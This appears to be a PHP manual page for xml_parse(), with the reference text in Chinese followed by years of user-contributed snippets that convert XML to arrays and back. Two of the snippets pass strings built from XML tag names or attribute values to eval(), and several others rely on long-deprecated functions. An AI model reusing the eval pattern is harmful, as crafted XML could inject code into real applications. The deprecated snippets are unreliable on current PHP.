      else {
        $Stemp = $Sindent.'<'.$Atree['tag'].' ' ;
        if (isset ($Atree['attributes']) && is_array ($Atree['attributes'])) {
          foreach ($Atree['attributes'] as $Aattribute => $Svalue) $Stemp .= $Aattribute.'="'.$Svalue.'" ' ;
        }
        if (! isset ($Atree['children']) && ! isset ($Atree['value'])) $Stemp .= '/>'."\r\n" ;
        else {
          $Stemp .= '>'."\r\n" ;
          if (isset ($Atree['value'])) $Stemp .= $Sindent.$indentType.trim($Atree['value'])."\r\n" ;
          if (isset ($Atree['children']) && is_array ($Atree['children']))
            foreach ($Atree['children'] as $Achild) $Stemp .= $this->setTree($Achild, $indentType, $Sindent.$indentType) ;
          $Stemp .= $Sindent.'</'.$Atree['tag'].'>'."\r\n" ;
        }
        return ($Stemp) ;
      }
    }
sdh33 at cornell dot edu 13-Jun-2004 10:12
(The previous post I wrote was incorrect.  I fix that herein)
I used the algorithm from stephane for writing back to a file, but ran into the following problem.  My original XML looks like

<ENTRY id="1"> ... </ENTRY><ENTRY id="2"> ... </ENTRY>

This got saved back as

<1> ... </1><2> ... </2>,

which expat doesn't like.  So I propose the following modification:

function writeXmlToFile($data, $f, $niv = 0) {
  foreach($data as $name => $elem) {
    if (preg_match("/\A[0-9]/",$name)) {
      $open = "ENTRY id=\"$name\""; $name = "ENTRY";
    } else {
      $open = $name;
    }
    if(is_array($elem)) {
      fwrite($f, str_repeat("  ", $niv)."<".$open.">"."\n");
      writeXmlToFile($elem, $f, $niv + 1);
      fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
    } else {
      fwrite($f, str_repeat("  ", $niv)."<".$open.">".$elem."</".$name.">"."\n");
    }
  }
}
stephane dot dekeyzer at noemail dot com 08-Apr-2004 11:54
for writing the array of mmustafa back to a xml file, use this code:

function writeXmlFile($fileName, $struct){
  $f = fopen($fileName, "w");
  writeXmlToFile($struct, $f);
  fclose($f);
}

function writeXmlToFile($data, $f, $niv = 0){
  foreach($data as $name => $elem){
    if(is_array($elem)){
      fwrite($f, str_repeat("  ", $niv)."<".$name.">"."\n");
      writeXmlToFile($elem, $f, $niv + 1);
      fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
    }
    else{
      fwrite($f, str_repeat("  ", $niv)."<".$name.">".$elem."</".$name.">"."\n");
    }
  }
}
mmustafa at vsnl dot com 06-Jan-2004 12:19
A small and simple php code to convert the raw array returned by xml_parse_into_struct into a proper data structure ..

<?php
$file = "data.xml";
$xml_parser = xml_parser_create();

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

$data = fread($fp, filesize($file));
fclose($fp);
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
    if (array_key_exists('attributes',$xml_elem)) {
      list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
    } else {
      $level[$xml_elem['level']] = $xml_elem['tag'];
    }
  }
  if ($xml_elem['type'] == 'complete') {
    $start_level = 1;
    $php_stmt = '$params';
    while($start_level < $xml_elem['level']) {
      $php_stmt .= '[$level['.$start_level.']]';
      $start_level++;
    }
    $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
    eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";
?>

Converts an XML document like ..

<country id="ZZ">
<name>My Land</name>
<location>15E</location>
<area>40000</area>
<state1>
<name>Hi State</name>
<area>1000</area>
<population>2000</population>
<city1>
<location>13E</location>
<population>500</population>
<area>500</area>
</city1>
<city2>
<location>13E</location>
<population>500</population>
<area>5000</area>
</city2>
</state1>
<state2>
<name>Low State</name>
<area>3000</area>
<population>20000</population>
<city1>
<location>15E</location>
<population>5000</population>
<area>1500</area>
</city1>
</state2>
</country>

To a php datastructure like ..

Array
(
    [ZZ] => Array
        (
            [NAME] => My Land
            [LOCATION] => 15E
            [AREA] => 40000
            [STATE1] => Array
                (
                    [NAME] => Hi State
                    [AREA] => 1000
                    [POPULATION] => 2000
                    [CITY1] => Array
                        (
                            [LOCATION] => 13E
                            [POPULATION] => 500
                            [AREA] => 500
                        )

                    [CITY2] => Array
                        (
                            [LOCATION] => 13E
                            [POPULATION] => 500
                            [AREA] => 5000
                        )

                )

            [STATE2] => Array
                (
                    [NAME] => Low State
                    [AREA] => 3000
                    [POPULATION] => 20000
                    [CITY1] => Array
                        (
                            [LOCATION] => 15E
                            [POPULATION] => 5000
                            [AREA] => 1500
                        )

                )

        )

)
bisqwit at iki dot fi dot not dot for dot ads dot invalid 20-Nov-2002 08:33
I made my own xml2tree()-function.
The difference to the previously suggested ones on this manual page is that this creates a tree where the tags are keys.

Example input:

<tree>
 <leaf name="gruu"> pl?? </leaf>
 <animal type="cat" />
</tree>

Example output:

Array
( 'tree' => Array
     ( 0 => Array
          ( 'children' => Array
               ( 'leaf' => Array
                    ( 0 => Array
                         ( 'attrs' => Array('name' => 'gruu'),
                           'values' => Array(0 => ' pl?? ')
                    )    ),
                 'animal' => Array
                    ( 0 => Array
                         ( 'attrs' => Array('type' => 'cat')
)    )   )    )    )   )

function xml2tree2($string)
{
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $string, $vals, $index);
  xml_parser_free($parser);

  $stack = array( array() );
  $stacktop = 0;
  $parent = array();
  foreach($vals as $val)
  {
    $type = $val['type'];
    if($type=='open' || $type=='complete')
    {
      // open tag
      $stack[$stacktop++] = $tagi;
      $tagi = array('tag' => $val['tag']);

      if(isset($val['attributes']))  $tagi['attrs'] = $val['attributes'];
      if(isset($val['value']))
        $tagi['values'][] = $val['value'];
    }
    if($type=='complete' || $type=='close')
    {
      // finish tag
      $tags[] = $oldtagi = $tagi;
      $tagi = $stack[--$stacktop];
      $oldtag = $oldtagi['tag'];
      unset($oldtagi['tag']);
      $tagi['children'][$oldtag][] = $oldtagi;
      $parent = $tagi;
    }
    if($type=='cdata')
    {
      $tagi['values'][] = $val['value'];
    }
  }
  return $parent['children'];
}

Ps: Note that the xml parsing for some reason chokes if the values contain <> (even inside ""). You need to escape them as &lt; and &gt;.
Same for & (for obvious reasons). Escape it as &amp;.
For example "&nbsp;" should be written as "&amp;nbsp;".
ambi at gmx dot de 05-Oct-2002 03:59
Sorry.. unreachable and unneeded code in my posting above :-)
Here is the fixed version:
function xml_condense_tree($tree) {
    if ($tree["children"]) {
            unset($nodecounters);
            foreach ($tree['children'] as $index => $node) {
                if (!isset($nodecounters[$node['tag']]))
                $nodecounters[$node['tag']]=1;
                else $nodecounters[$node['tag']]++;
            }
        foreach ($tree['children'] as $index => $node) {
            if (isset($node['children'])) {
                $tree['children'][$index] = xml_condense_tree($node);
            } elseif (isset($node['value']) and !$node['attributes'] and $nodecounters[$node['tag']]==1) {
                $tree['values'][$node['tag']] = $node['value'];
                unset($tree['children'][$index]);
            }
        }
    }
    if (!$tree['children']) unset($tree['children']);

    return $tree;
}
09-Aug-2002 01:20
This is based on a comment above by mh@mainlab.de.  This version makes more sense to me and I included a few comments that might make it more usefull for specific purposes.

// Look through $vals and $index,
// generated by parse_xml_data(),
// for $location.  $location resembles a unix path.
// E.g. "my/xml/path/to/my/data".
// Note: This is NOT a full-feature xml utility.
// Your path must be unique in the xml data
// and the tags must not contain slashes.
//
// returns: cdata from last element of $location
//          or NULL.
function get_xml_values($vals, $index, $location) {
  $location = explode('/', $location);
  $location_level = count($location);
  for ($n=0; $n<$location_level; ++$n) {
    $val_indexes=$index[$location[$n]];
    $good=0;
    for ($i=0; $i<count($val_indexes); ++$i) {
      $v = $vals[$val_indexes[$i]];
      // level is 1 based, n is 0 based:
      if ($v['level']-1 == $n) {
        if ($v['type'] == 'open') {
          // We found an open tag at the correct level.
          $good=1;
          break; // Remove break to avoid 'open' hiding
                 // 'complete' at last $n. (Speed Vs. Robustness:
                 // For now, I'm going with speed).
        }
        if ($v['type'] == 'complete') {
          // We found it, after finding all the prior elements:
          // You may want to change this to
          // return $v
          // so you can call $v['value'] and $v['attributes']
          return $v['value'];
        }
      }
    }
    if (!$good) {
      return NULL;
    }
  }
}
farinspace-at-hotmail-dot-com 20-Jul-2002 06:41
Wow, took a while to consume all of this. I am a noobie at XML, in fact i just really started working with it today. I went ahead and added to the above code by gdemartini@bol.com.br. I also added the update by nyk@cowham.net.

Added 'value' => $vals[$i]['value'] to the open case, as some nodes have both cdata as well as a children node. In previous versions of the functions the cdata of a node(a) that also had children would get stored in the children's array of the parent node(a). Now only children values are in the children array and the cdata is in the value key of the parent node(a).

Added 'value' => $vals[$i]['value'] to tree array as the vals array produced by PHP includes a value to the top most node if no children exist (for completeness).

Also, using xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,1) will strip all white space from both around the XML tags as well as inside the cdata. I added a piece of code by waldo@wh-e.com to take care of this. All SPACE characters are now only stripped from around the XML tags and cdata spacing is retained.

CODE:
***************************************

function GetChildren($vals, &$i) {

    $children = array();

    while (++$i < sizeof($vals)) {

        // compair type
        switch ($vals[$i]['type']) {

            case 'cdata':
                $children[] = $vals[$i]['value'];
                break;
            case 'complete':
                $children[] = array(
                    'tag' => $vals[$i]['tag'],
                    'attributes' => $vals[$i]['attributes'],
                    'value' => $vals[$i]['value']
                );
                break;
            case 'open':
                $children[] = array(
                    'tag' => $vals[$i]['tag'],
                    'attributes' => $vals[$i]['attributes'],
                    'value' => $vals[$i]['value'],
                    'children' => GetChildren($vals, $i)
                );
                break;
            case 'close':
                return $children;
        }
    }
}

function GetXMLTree($file) {

    $data = implode('', file($file));

    // by: waldo@wh-e.com - trim space around tags not within
    $data = eregi_replace(">"."[[:space:]]+"."<","><",$data);

    // XML functions
    $p = xml_parser_create();

    // by: anony@mous.com - meets XML 1.0 specification
    xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
    xml_parse_into_struct($p, $data, &$vals, &$index);
    xml_parser_free($p);

    $i = 0;
    $tree = array();
    $tree[] = array(
        'tag' => $vals[$i]['tag'],
        'attributes' => $vals[$i]['attributes'],
        'value' => $vals[$i]['value'],
        'children' => GetChildren($vals, $i)
    );

    return $tree;
}

***************************************
dave at ovumdesign dot com 03-Apr-2002 03:32
Here is another variation on gdemartini@bol.com.br's nice tree algorithm. I have included nyk@cowham.net's "cdata" suggestion. I made a few changes to suppress unitialized variable warnings with error_reporting(E_ALL), and made a few stylistic changes.

There are two functional modifications as well. The first is the added option to expat to turn off "case folding", since XML is technically a case-sensitive language. The second is the returned tree - instead of returning a single-element list (an array with index 0 pointing to the top node) like the original algorithm, it returns the top node itself. This saves you an unnecessary level of indirection.

function xml_get_children($vals, &$i) {
    $children = array();
    if (isset($vals[$i]['value'])) $children[] = $vals[$i]['value'];

    while (++$i < count($vals)) {
        switch ($vals[$i]['type']) {
        case 'cdata':
            $children[] = $vals[$i]['value'];
            break;

        case 'complete':
            $children[] = array(
                'tag'        => $vals[$i]['tag'],
                'attributes' => isset($vals[$i]['attributes'])?
                                $vals[$i]['attributes'] : null,
                'value'      => $vals[$i]['value'],
            );
            break;

        case 'open':
            $children[] = array(
                'tag'        => $vals[$i]['tag'],
                'attributes' => isset($vals[$i]['attributes'])?
                                $vals[$i]['attributes'] : null,
                'children'   => xml_get_children($vals, $i),
            );
            break;

        case 'close':
            return $children;
        }
    }
}

function xml_get_tree($file) {
    $data = join('', file($file));

    $parser = xml_parser_create();
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,   1);
    xml_parse_into_struct($parser, $data, $vals, $index);
    xml_parser_free($parser);

    return array(
        'tag'        => $vals[0]['tag'],
        'attributes' => isset($vals[0]['attributes'])?
                        $vals[0]['attributes'] : null,
        'children'   => xml_get_children($vals, $i = 0),
    );
}

This function takes a tree returned by xml_get_tree() and simplifies it similarly to voncken@mailandnews.com and oknapp@soly.de's suggestions. It finds any nodes that expat considered "complete" (childless) and contain no attributes, and it moves the tag name (as the key) and value into an element in the parent node's "values" array.

For example:
$tree = xml_get_tree('moldb.xml');
$tree = xml_condense_tree($tree);
echo $tree['children'][1]['values']['name'];

Outputs:
Lysine

function xml_condense_tree($tree) {
    foreach ($tree['children'] as $index => $node) {
        if (isset($node['children'])) {
            $tree['children'][$index] = xml_condense_tree($node);

        } elseif (isset($node['value']) and !$node['attributes']) {
            $tree['values'][$node['tag']] = $node['value'];
            unset($tree['children'][$index]);
        }
    }

    if (!$tree['children']) unset($tree['children']);
    return $tree;
}

Enjoy,
Dave
voncken at mailandnews dot com 06-Jan-2002 05:24
I needed something a bit different:
this is the result of my xml2array function (from the moldb example)

Array
(
    [molecule] => Array
        (
            [0] => Array
                (
                    [name] => Alanine
                    [symbol] => ala
                    [code] => A
                    [type] => hydrophobic
                )

            [1] => Array
                (
                    [name] => Lysine
                    [symbol] => lys
                    [code] => K
                    [type] => charged
                )

        )

)

function xml2array($data)
  {
    //mvo voncken@mailandnews.com
    //original ripped from  on the php-manual:gdemartini@bol.com.br
    //to be used for data retrieval(result-structure is Data oriented)
    $p = xml_parser_create();
    xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($p, $data, &$vals, &$index);
    xml_parser_free($p);

    $tree = array();
    $i = 0;
    //array_push($tree, array('tag' => $vals[$i]['tag'], 'attributes'=> $vals[$i]['attributes'],                            'children' => ));
    $tree = GetChildren($vals, $i);
    return $tree;
  }

 function GetChildren($vals, &$i)
  {
    $children = array();
    if ($vals[$i]['value']) array_push($children, $vals[$i]['value']);

    $prevtag = "";
    while (++$i < count($vals)) // so pra nao botar while true ;-)
    {
      switch ($vals[$i]['type'])
      {
         case 'cdata':
           array_push($children, $vals[$i]['value']);
           break;
         case 'complete':
           $children[ strtolower($vals[$i]['tag']) ] = $vals[$i]['value'];
           break;

         case 'open':

           //restartindex on unique tag-name
           $j++;
           if ($prevtag <> $vals[$i]['tag']) {
                   $j = 0;
                   $prevtag = $vals[$i]['tag'];
            }
           $children[ strtolower($vals[$i]['tag']) ][$j] = GetChildren($vals,$i);
           break;

         case 'close':
           return $children;
      }
    }
  }


开始解析一个 XML 文档

  • ? xml_parse_into_struct
  • xml_parser_create_ns ?
  • PHP Manual
  • XML 解析器函数
  • 开始解析一个 XML 文档

xml_parse

(PHP 4, PHP 5, PHP 7)

xml_parse — 开始解析一个 XML 文档

说明

xml_parse ( resource $parser , string $data [, bool $is_final = false ] ) : int

xml_parse() 解析 XML 文档。已配置事件的处理器根据需要被无限次调用。

参数

parser

一个指向将要使用的 XML 解析器的指针

data

需要解析的数据集。您可以多次对新的数据调用 xml_parse() 函数来分段解析一个文档；只要在解析最后一段数据时将 is_final 参数设置为 TRUE。

is_final

如果被设置为 TRUE，则 data 为当前解析中最后一段数据。

返回值

成功时返回1，失败时返回0

若解析失败，可以使用如下函数获取错误信息：
xml_get_error_code(),
xml_error_string(),
xml_get_current_line_number(),
xml_get_current_column_number() 和
xml_get_current_byte_index()。

Note:

将 is_final 参数设置为 TRUE，项目的错误将会报告在数据的末尾。

User Contributed Notes

Programmerdude 06-Aug-2014 07:26
Due to restrictions in libxml2 the maximum length of $data is 9.5MB. If you need to process more than 9.5MB you can do so by calling the function multiple times and setting $is_final on the last call.
alejandro dot anv at gmail dot com 13-Mar-2014 01:00
Here is my array2xml function. I made it because I coudn't find a generic recursive function that generates a prety formatted XML from any array.

Usage:

<?php echo xml2array('rootname',$myarray); ?>

or if you want to specify a spacing character(s) other than TAB:

<?php echo xml2array('rootname',$myarray,'   '); ?>

or if you want avoid spacing at all

<?php echo xml2array('rootname',$myarray,''); ?>

<?php
function array2xml($nombre,$valor,$tab="\t",$nivel=0){

if ($nivel==0) $r='<?xml version="1.0" encoding="ISO-8859-1"?>';

$arr=!is_numeric($nombre);
$spacing=str_repeat($tab,$nivel);
if ($tab!='') $newline="\n";
else $newline='';

if (is_array($valor)){

   if (count($valor)>0){
      $r.=$newline;
      //$r.=str_repeat($tab,$nivel);
      foreach($valor as $k=>$v){
         if ($arr) $r.="$spacing<$nombre>";

         if (is_array($v))  $r.=array2xml($k,$v,$tab,$nivel+$arr);
         else $r.="$spacing<$k>$v</$k>$newline";

         if ($arr) $r.="$spacing</$nombre>$newline";
         }//foreach
      }//count
   else $r.="$spacing<$nombre></$nombre>"; // it's an empty array
   }
else {
     if ($arr) $r.="$spacing<$nombre>";
     $r.=$valor;
     if ($arr) $r.="</$nombre>$newline";
     }

return $r;
}
?>
Ashok dot 893 at gmail dot com 25-Apr-2010 10:52
This is very simple way to convert all applicable objects into associative array.  This works with not only SimpleXML but any kind of object. The input can be either array or object. This function also takes an options parameter as array of indices to be excluded in the return array. And keep in mind, this returns only the array of non-static and accessible variables of the object since using the function get_object_vars().

<?php
function objectsIntoArray($arrObjData, $arrSkipIndices = array())
{
    $arrData = array();

    // if input is object, convert into array
    if (is_object($arrObjData)) {
        $arrObjData = get_object_vars($arrObjData);
    }

    if (is_array($arrObjData)) {
        foreach ($arrObjData as $index => $value) {
            if (is_object($value) || is_array($value)) {
                $value = objectsIntoArray($value, $arrSkipIndices); // recursive call
            }
            if (in_array($index, $arrSkipIndices)) {
                continue;
            }
            $arrData[$index] = $value;
        }
    }
    return $arrData;
}
?>

Usage:

<?php
$xmlUrl = "feed.xml"; // XML feed file/URL
$xmlStr = file_get_contents($xmlUrl);
$xmlObj = simplexml_load_string($xmlStr);
$arrXml = objectsIntoArray($xmlObj);
print_r($arrXml);
?>
lz_speedy at web dot de 30-Dec-2008 10:20
Best seen xml2array function ever
<?php
function xml2array($url, $get_attributes = 1, $priority = 'tag')
{
    $contents = "";
    if (!function_exists('xml_parser_create'))
    {
        return array ();
    }
    $parser = xml_parser_create('');
    if (!($fp = @ fopen($url, 'rb')))
    {
        return array ();
    }
    while (!feof($fp))
    {
        $contents .= fread($fp, 8192);
    }
    fclose($fp);
    xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($parser, trim($contents), $xml_values);
    xml_parser_free($parser);
    if (!$xml_values)
        return; //Hmm...
    $xml_array = array ();
    $parents = array ();
    $opened_tags = array ();
    $arr = array ();
    $current = & $xml_array;
    $repeated_tag_index = array ();
    foreach ($xml_values as $data)
    {
        unset ($attributes, $value);
        extract($data);
        $result = array ();
        $attributes_data = array ();
        if (isset ($value))
        {
            if ($priority == 'tag')
                $result = $value;
            else
                $result['value'] = $value;
        }
        if (isset ($attributes) and $get_attributes)
        {
            foreach ($attributes as $attr => $val)
            {
                if ($priority == 'tag')
                    $attributes_data[$attr] = $val;
                else
                    $result['attr'][$attr] = $val; //Set all the attributes in a array called 'attr'
            }
        }
        if ($type == "open")
        {
            $parent[$level -1] = & $current;
            if (!is_array($current) or (!in_array($tag, array_keys($current))))
            {
                $current[$tag] = $result;
                if ($attributes_data)
                    $current[$tag . '_attr'] = $attributes_data;
                $repeated_tag_index[$tag . '_' . $level] = 1;
                $current = & $current[$tag];
            }
            else
            {
                if (isset ($current[$tag][0]))
                {
                    $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                    $repeated_tag_index[$tag . '_' . $level]++;
                }
                else
                {
                    $current[$tag] = array (
                        $current[$tag],
                        $result
                    );
                    $repeated_tag_index[$tag . '_' . $level] = 2;
                    if (isset ($current[$tag . '_attr']))
                    {
                        $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                        unset ($current[$tag . '_attr']);
                    }
                }
                $last_item_index = $repeated_tag_index[$tag . '_' . $level] - 1;
                $current = & $current[$tag][$last_item_index];
            }
        }
        elseif ($type == "complete")
        {
            if (!isset ($current[$tag]))
            {
                $current[$tag] = $result;
                $repeated_tag_index[$tag . '_' . $level] = 1;
                if ($priority == 'tag' and $attributes_data)
                    $current[$tag . '_attr'] = $attributes_data;
            }
            else
            {
                if (isset ($current[$tag][0]) and is_array($current[$tag]))
                {
                    $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                    if ($priority == 'tag' and $get_attributes and $attributes_data)
                    {
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                    }
                    $repeated_tag_index[$tag . '_' . $level]++;
                }
                else
                {
                    $current[$tag] = array (
                        $current[$tag],
                        $result
                    );
                    $repeated_tag_index[$tag . '_' . $level] = 1;
                    if ($priority == 'tag' and $get_attributes)
                    {
                        if (isset ($current[$tag . '_attr']))
                        {
                            $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                            unset ($current[$tag . '_attr']);
                        }
                        if ($attributes_data)
                        {
                            $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                        }
                    }
                    $repeated_tag_index[$tag . '_' . $level]++; //0 and 1 index is already taken
                }
            }
        }
        elseif ($type == 'close')
        {
            $current = & $parent[$level -1];
        }
    }
    return ($xml_array);
}
?>

Returns a well formed array like the structure of the xml-document

<root>
 <child1>
  <child1child1/>
 </child1>
</root>

create an array like
array[root][child1][child1child1]

lg
neoyahuu at yahoo dot com 12-Dec-2007 08:18
Instead of passing a URL, we can pass the XML content to this class (either you
 want to use CURL, Socks or fopen to retrieve it first) and instead of using
 array, I'm using separator '|' to identify which data to get (in order to make
 it short to retrieve a complex XML data). Here is my class with built-in fopen
 which you can pass URL or you can pass the content instead :

p/s : thanks to this great help page.

<?php

class xx_xml {

    // XML parser variables
    var $parser;
    var $name;
    var $attr;
    var $data  = array();
    var $stack = array();
    var $keys;
    var $path;

    // either you pass url atau contents.
    // Use 'url' or 'contents' for the parameter
    var $type;

    // function with the default parameter value
    function xx_xml($url='http://www.example.com', $type='url') {
        $this->type = $type;
        $this->url  = $url;
        $this->parse();
    }

    // parse XML data
    function parse()
    {
        $data = '';
        $this->parser = xml_parser_create();
        xml_set_object($this->parser, $this);
        xml_set_element_handler($this->parser, 'startXML', 'endXML');
        xml_set_character_data_handler($this->parser, 'charXML');

        xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);

        if ($this->type == 'url') {
            // if use type = 'url' now we open the XML with fopen

            if (!($fp = @fopen($this->url, 'rb'))) {
                $this->error("Cannot open {$this->url}");
            }

            while (($data = fread($fp, 8192))) {
                if (!xml_parse($this->parser, $data, feof($fp))) {
                    $this->error(sprintf('XML error at line %d column %d',
                    xml_get_current_line_number($this->parser),
                    xml_get_current_column_number($this->parser)));
                }
            }
        } else if ($this->type == 'contents') {
            // Now we can pass the contents, maybe if you want
            // to use CURL, SOCK or other method.
            $lines = explode("\n",$this->url);
            foreach ($lines as $val) {
                if (trim($val) == '')
                    continue;
                $data = $val . "\n";
                if (!xml_parse($this->parser, $data)) {
                    $this->error(sprintf('XML error at line %d column %d',
                    xml_get_current_line_number($this->parser),
                    xml_get_current_column_number($this->parser)));
                }
            }
        }
    }

    function startXML($parser, $name, $attr)    {
        $this->stack[$name] = array();
        $keys = '';
        $total = count($this->stack)-1;
        $i=0;
        foreach ($this->stack as $key => $val)    {
            if (count($this->stack) > 1) {
                if ($total == $i)
                    $keys .= $key;
                else
                    $keys .= $key . '|'; // The saparator
            }
            else
                $keys .= $key;
            $i++;
        }
        if (array_key_exists($keys, $this->data))    {
            $this->data[$keys][] = $attr;
        }    else
            $this->data[$keys] = $attr;
        $this->keys = $keys;
    }

    function endXML($parser, $name)    {
        end($this->stack);
        if (key($this->stack) == $name)
            array_pop($this->stack);
    }

    function charXML($parser, $data)    {
        if (trim($data) != '')
            $this->data[$this->keys]['data'][] = trim(str_replace("\n", '', $data));
    }

    function error($msg)    {
        echo "<div align=\"center\">
            <font color=\"red\"><b>Error: $msg</b></font>
            </div>";
        exit();
    }
}

?>

And example of retrieving XML data:
p/s: example use to retrieve weather

<?php
include_once "xx_xml.class.php";

// Im using simple curl (the original is in class) to get the contents

$pageurl = "http://xml.weather.yahoo.com/forecastrss?p=MYXX0008&u=c";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_URL, $pageurl );
$thecontents = curl_exec ( $ch );
curl_close($ch);

// We want to pass only a ready XML content instead of URL
// But if you want to use URL , skip the curl functions above and use this
// $xx4 = new xx_xml("url here",'url');

$xx4 = new xx_xml($thecontents,'contents');
// As you can see, we use saparator '|' instead of long array
$Code = $xx4->data ['rss|channel|item|yweather:condition']['code'] ;
$Celcius = $xx4->data ['rss|channel|item|yweather:condition']['temp'] ;
$Text = $xx4->data ['rss|channel|item|yweather:condition']['text'] ;
$Cityname = $xx4->data ['rss|channel|yweather:location']['city'] ;

?>

Hope this helps.
joris dot landman at chello dot nl 28-Jul-2007 07:42
This page has been a great help! I've adapted the examples below to make a class to parse an X(HT)ML file to a multidimensional array.

Spaces, tabs, breaks, etc. are included in the array as TEXT_NODE, since in XHTML they may be functional. A function to trim them can easily be added if so desired.

I've written my class to store multiple tags with the same name. In order to do this I've used nested arrays with the key NODES to store the order in which tags and data were parsed. These NODES arrays can be used as a blueprint to reconstruct the X(HT)ML part of the document in it's entirity, including formatting. (Doctype will have to be added for validity).

<?php

class my_xml_object {

    var $xml_data; # raw xml data from file
    function parse_xml_file($my_uri) {
        $this->xml_data = null; # clear previously parsed file and related variables
        if (is_file($my_uri) && is_readable($my_uri)) { # existing and readable uri?
            $my_file = fopen($my_uri, "r");
            while($my_xml_input = fread($my_file, filesize($my_uri))) {
                $this->xml_data .= $my_xml_input; # add data to xml_data
            }
            fclose($my_file);
            $this->parse_xml_data($this->xml_data); # parse data
        } else {
            trigger_error("supplied argument is not a URI to a (readable) file", E_USER_ERROR);
        }
    }

    var $xml_array = Array(); # xml array from parsed data
    function parse_xml_data($my_data) { # adapted from class by randlem@gmail.com, tgrabietz@bupnet.de, bbellwfu@gmail.com, Kyle Bresin - see http://nl2.php.net/xml_parse
        $this->xml_array = Array(0 => Array()); # clear previously parsed file and related variables; populate first element
        $my_parser = xml_parser_create(); # set up parser
        xml_set_object($my_parser, $this); # enable parser within object
        xml_set_element_handler($my_parser, "xml_tag_open", "xml_tag_close");
        xml_set_character_data_handler($my_parser, "xml_tag_data");
        if (!xml_parse($my_parser, $my_data)) {
            trigger_error("data can not be parsed", E_USER_ERROR); # inspect problems #die(sprintf("<br />\n<b>Error</b>:  %s on line <b>%d</b><br />\n", xml_error_string(xml_get_error_code($my_parser)), xml_get_current_line_number($my_parser)));
        }
        xml_parser_free($my_parser); # free parser
        return $this->xml_array; # return xml array
    }

    var $my_branch = Array();
    function xml_tag_open($my_parser, $my_name, $my_attributes) {
        array_push($this->my_branch, $my_name); # add tag name to branch
        $this->xml_array[] = Array(); # nest array in xml array for data
        if (count($my_attributes)) {
            $this->xml_array[count($this->xml_array) - 1]["ATTRIBUTES"] = $my_attributes; # nest attributes array
        }
    }

    function xml_tag_data($my_parser, $my_data) {
        $this->xml_array[count($this->my_branch)]["TEXT_NODE"][] = $my_data; # add data to nested array
        $this->xml_array[count($this->my_branch)]["NODES"][] = "TEXT_NODE"; # add text node to nested NODES array
    }

    function xml_tag_close($my_parser, $my_name) {
        $this->xml_array[count($this->my_branch) - 1][$this->my_branch[count($this->my_branch) - 1]][] = $this->xml_array[count($this->xml_array) - 1]; # nest arrays to follow document structure
        array_pop($this->xml_array); # pop off element that was nested
        $this->xml_array[count($this->my_branch) - 1]["NODES"][] = $my_name; # add tag node to nested NODES array
        array_pop($this->my_branch); # update branch
    }

?>
dgrimes at scvl dot com 29-Jun-2007 06:14
One note about magic quotes: magic_quotes_runtime needs to be disabled before parsing XML. It can cause strange errors during parsing. Just add the following at the top of your program:

set_magic_quotes_runtime(0);

If you need magic quotes you can use stripslashes or save the current magic quotes setting with get_magic_quotes_runtime() then disable and parse your XML and then restore the previous magic quotes setting.
php at b635 dot com 23-Jun-2007 10:17
The suggestions below have been a great help, but there was one thing I really needed...

I'm parsing Amazon XML data, and I wanted to be able to index into the array using something like:

<?php
  print "<p>" . $strAXML->arrOutput[ITEMLOOKUPRESPONSE][ITEMS][ITEM][SMALLIMAGE][URL];
?>

To solve this, I had to push all of the open tags onto a separate stack, add any tag data to the tail end of an attributed multi-dimensional array, and then pop the tag name off of the stack once it was closed...

<?php

class xml2array {

  var $arrOutput = array();
  var $arrName = array();
  var $objParser;
  var $strXmlData;

  function parse($strInputXML) {

    // standard XML parse object setup

    $this->objParser = xml_parser_create ();
    xml_set_object($this->objParser,$this);
    xml_set_element_handler($this->objParser, "tagOpen", "tagClosed");

    xml_set_character_data_handler($this->objParser, "tagData");

    $this->strXmlData = xml_parse($this->objParser,$strInputXML );
    if(!$this->strXmlData) {
      die(sprintf("XML error: %s at line %d",
        xml_error_string(xml_get_error_code($this->objParser)),
        xml_get_current_line_number($this->objParser)));
    }

    xml_parser_free($this->objParser);

    return $this->arrOutput;
  }

  function tagOpen($parser, $name, $attrs) {
    // push the current tag name to an array of still-open tag names
    array_push ($this->arrName, $name);

    // merge the array of current attributes to the open tag
    // NOTE: this does not currently handle multiple attributes with the same name
    // (i.e. it will overwrite them with the last values)

    $strEval = "\$this->arrOutput";
    foreach ($this->arrName as $value) {
      $strEval .= "[" . $value . "]";
    }
    $strEval = $strEval . " = array_merge (" . $strEval . ",\$attrs);";

    eval ($strEval);
  }

  function tagData($parser, $tagData) {

    // set the latest open tag equal to the tag data

    $strEval = "\$this->arrOutput";
    foreach ($this->arrName as $value) {
      $strEval .= "[" . $value . "]";
    }

    $strEval = $strEval . " = \$tagData;";

    eval ($strEval);
  }

  function tagClosed($parser, $name) {

    // pop this tag (and any subsequent tags) off the stack of open tag names

